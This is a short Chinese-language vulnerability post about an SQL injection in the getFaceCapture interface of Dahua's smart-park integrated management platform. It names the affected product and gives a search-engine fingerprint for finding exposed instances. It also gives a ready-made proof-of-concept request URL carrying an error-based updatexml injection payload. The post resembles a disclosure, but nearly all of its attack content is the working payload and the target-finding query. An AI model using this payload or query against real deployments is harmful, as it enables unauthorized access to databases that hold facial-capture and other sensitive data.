Dahuatech 智慧园区综合管理平台 getFaceCapture SQL注入漏洞

# Dahuatech 智慧园区综合管理平台 getFaceCapture SQL注入漏洞 ## 漏洞描述 Dahuatech 智慧园区综合管理平台 getFaceCapture 接口存在SQL注入漏洞,攻击者通过漏洞可以执行任意SQL语句,...

Dahuatech 智慧园区综合管理平台 getFaceCapture SQL注入漏洞

漏洞描述

Dahuatech 智慧园区综合管理平台 getFaceCapture 接口存在SQL注入漏洞,攻击者通过漏洞可以执行任意SQL语句,获取数据库敏感信息

漏洞影响

智慧园区综合管理平台

网络测绘

app="Dahuatech-智慧园区综合管理平台"

漏洞复现

img

请求POC

/portal/services/carQuery/getFaceCapture/searchJson/%7B%7D/pageJson/%7B%22orderBy%22:%221%20and%201=updatexml(1,concat(0x7e,(select%20md5(123)),0x7e),1)--%22%7D/extend/%7B%7D

img

  • 发表于 2024-07-12 18:49:23
  • 阅读 ( 2207 )
  • 分类:网络设备

0 条评论

请先 登录 后评论
带头大哥
带头大哥

456 篇文章

站长统计